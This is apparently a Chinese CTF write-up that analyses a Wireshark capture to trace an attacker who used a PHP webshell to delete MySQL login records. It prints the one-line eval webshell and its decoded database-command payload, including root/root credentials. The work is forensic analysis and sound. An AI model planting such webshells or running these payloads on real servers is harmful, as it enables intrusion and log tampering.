登陆 注册

『流量分析溯源』有人删除了数据库中的登录记录,找到攻击者境内的IP地址。

googxxoo 2020-04-13 安全文摘

前言

题目地址:https://www.mozhe.cn/bug/detail/NDU3RnFGTitFdUlaOXNlNFp6QzUydz09bW96aGUmozhe

背景介绍:某公司安全工程师抓取到一段Wireshark数据包,发现有人删除了数据库中的登录记录,找到攻击者境内的IP地址。

使用工具:WireShark

WireShark流量分析

首先打开 23.pcapng 这个流量数据包:

由上图可见,流量有上万条数据包!那么如何在上万条数据流里找到我们想要的信息呢?

我们先来分析题目的要求:发现有人删除了数据库中的登录记录,找到攻击者境内的IP地址!

重点一:删除了数据库中的登陆记录

重点二:攻击者的IP是境内的

由这两点我们就可以大概的了解了攻击者的手法:攻击者登陆到了数据库,然后利用SQL语法对数据库的数据进行了删除!

而我们知道,在一些常规的数据库SQL语法中,删除数据库的语句是:delete、drop...等等。那么这样我们就能缩小范围进行筛选了!

找到PHP脚本木马

PS:按照入侵的流程,想要登陆到数据库那么只有两种方式:

第一种:通过WEB网站入侵到服务器拿到数据库的配置信息从而登陆到数据库

第二种:通过弱口令对数据库进行暴力破解从而登陆到数据库

第三种:通过未授权访问,由于运维人员的错误配置导致黑客能够未授权的登陆到数据库

我首先是过滤了一下HTTP协议的POST请求查看有那些提交的数据包:

http.request.method=="POST"

由上图可见,我通过过滤 HTTP 协议的 POST 请求发现了有一个木马文件:xiaoma.php

既然他删除了他的日志记录,那么我们就从最后一条有关于 xiaoma.php 这个请求文件数据包进行分析:最后一条的时间线是 17.257603,是第 7143 条数据:

分析流量找到删除数据库登陆记录的IP

由上图可见,我们点开 Hypertext Transfer Protocol 这一栏,我们可以看到 HTTP 协议的数据:

Hypertext Transfer Protocol
    POST /uploads/upload/xiaoma.php HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): POST /uploads/upload/xiaoma.php HTTP/1.1\r\n]
            [POST /uploads/upload/xiaoma.php HTTP/1.1\r\n]
            [Severity level: Chat]
            [Group: Sequence]
        Request Method: POST
        Request URI: /uploads/upload/xiaoma.php
        Request Version: HTTP/1.1
    X-Forwarded-For: 156.27.191.141\r\n
    Referer: http://123.108.208.144\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n
    Host: 123.108.208.144\r\n
    Content-Length: 957\r\n
        [Content length: 957]
    Connection: Close\r\n
    Cache-Control: no-cache\r\n
    \r\n
    [Full request URI: http://123.108.208.144/uploads/upload/xiaoma.php]
    [HTTP request 1/1]
    [Response in frame: 7144]
    File Data: 957 bytes

其中目标还伪造了一个 IP :X-Forwarded-For: 156.27.191.141(我们先记录)

接着往下看这条 POST 表单数据:HTML Form URL Encoded: application/x-www-form-urlencoded

HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "d76R3478" = "@eval(base64_decode($_POST[z0]));"
        Key: d76R3478
        Value: @eval\001(base64_decode($_POST[z0]));
    Form item: "z0" = "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJd
        Key: z0
        Value [truncated]: QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJ
    Form item: "z1" = "localhost"
        Key: z1
        Value: localhost
    Form item: "z2" = "root"
        Key: z2
        Value: root
    Form item: "z3" = "root"
        Key: z3
        Value: root
    Form item: "z4" = "mysql"
        Key: z4
        Value: mysql
    Form item: "z5" = "ZGVsZXRlIGZyb20gYWRtaW5fbG9nIHdoZXJlIGlwID0gIjEyMy40LjE0LjEyNiI7"
        Key: z5
        Value: ZGVsZXRlIGZyb20gYWRtaW5fbG9nIHdoZXJlIGlwID0gIjEyMy40LjE0LjEyNiI7

由上图的数据可见,我们由此获得了几点重要的信息:

信息一:目标的一句话木马是

@eval(base64_decode($_POST[z0]));

信息二:目标使用了弱口令登陆到了MySQL数据库里

 Form item: "z1" = "localhost"
        Key: z1
        Value: localhost
    Form item: "z2" = "root"
        Key: z2
        Value: root
    Form item: "z3" = "root"
        Key: z3
        Value: root
    Form item: "z4" = "mysql"
        Key: z4
        Value: mysql

信息三:目标加密了一些数据,其中加密方式是 base64 加密

我们挨个的进行解密:

加密一:

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJd

解密一:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["z1"]):$_POST["z1"]

加密二:

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdOyR1c3I9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdOyRwd2Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejMiXSk6JF9QT1NUWyJ6MyJdOyRkYm49JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejQiXSk6JF9QT1NUWyJ6NCJdOyRzcWw9YmFzZTY0X2RlY29kZSgkX1BPU1RbIno1Il0pOyRUPUBteXNxbF9jb25uZWN0KCRoc3QsJHVzciwkcHdkKTtAbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyB1dGY4Iik7QG15c3FsX3NlbGVjdF9kYigkZGJuKTskcT1AbXlzcWxfcXVlcnkoJHNxbCk7ZWNobygiUmVzdWx0XHR8XHRcclxuIik7ZWNobygkcT8iRXhlY3V0ZSBTdWNjZXNzZnVsbHkhIjpteXNxbF9lcnJvcigpKTtlY2hvKCJcdHxcdFxyXG4iKTtAbXlzcWxfY2xvc2UoJFQpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

解密二:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["z1"]):$_POST["z1"];$usr=$m?stripslashes($_POST["z2"]):$_POST["z2"];$pwd=$m?stripslashes($_POST["z3"]):$_POST["z3"];$dbn=$m?stripslashes($_POST["z4"]):$_POST["z4"];$sql=base64_decode($_POST["z5"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES utf8");@mysql_select_db($dbn);$q=@mysql_query($sql);echo("Result\t|\t\r\n");echo($q?"Execute Successfully!":mysql_error());echo("\t|\t\r\n");@mysql_close($T);;echo("|<-");die();

加密三:

ZGVsZXRlIGZyb20gYWRtaW5fbG9nIHdoZXJlIGlwID0gIjEyMy40LjE0LjEyNiI7

解密三:

delete from admin_log where ip = "123.4.14.126";

加密四:

ZGVsZXRlIGZyb20gYWRtaW5fbG9nIHdoZXJlIGlwID0gIjEyMy40LjE0LjEyNiI7

解密四:

delete from admin_log where ip = "123.4.14.126";

这个时候解密后就一目了然了!目标通过执行 SQL 语句 delete from admin_log where ip = "123.4.14.126"; 删除了 admin_log 表中的 ip=123.4.14.126 这条数据,而 123.4.14.126 这个 IP 正是嫌疑人删除的 IP!

这样我们就成功拿到 Flag:

大家想要获取到本题目的文件,请在公众号:"saulGoodman",回复:"流量分析1",即可获取到下载地址!

生成海报
请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net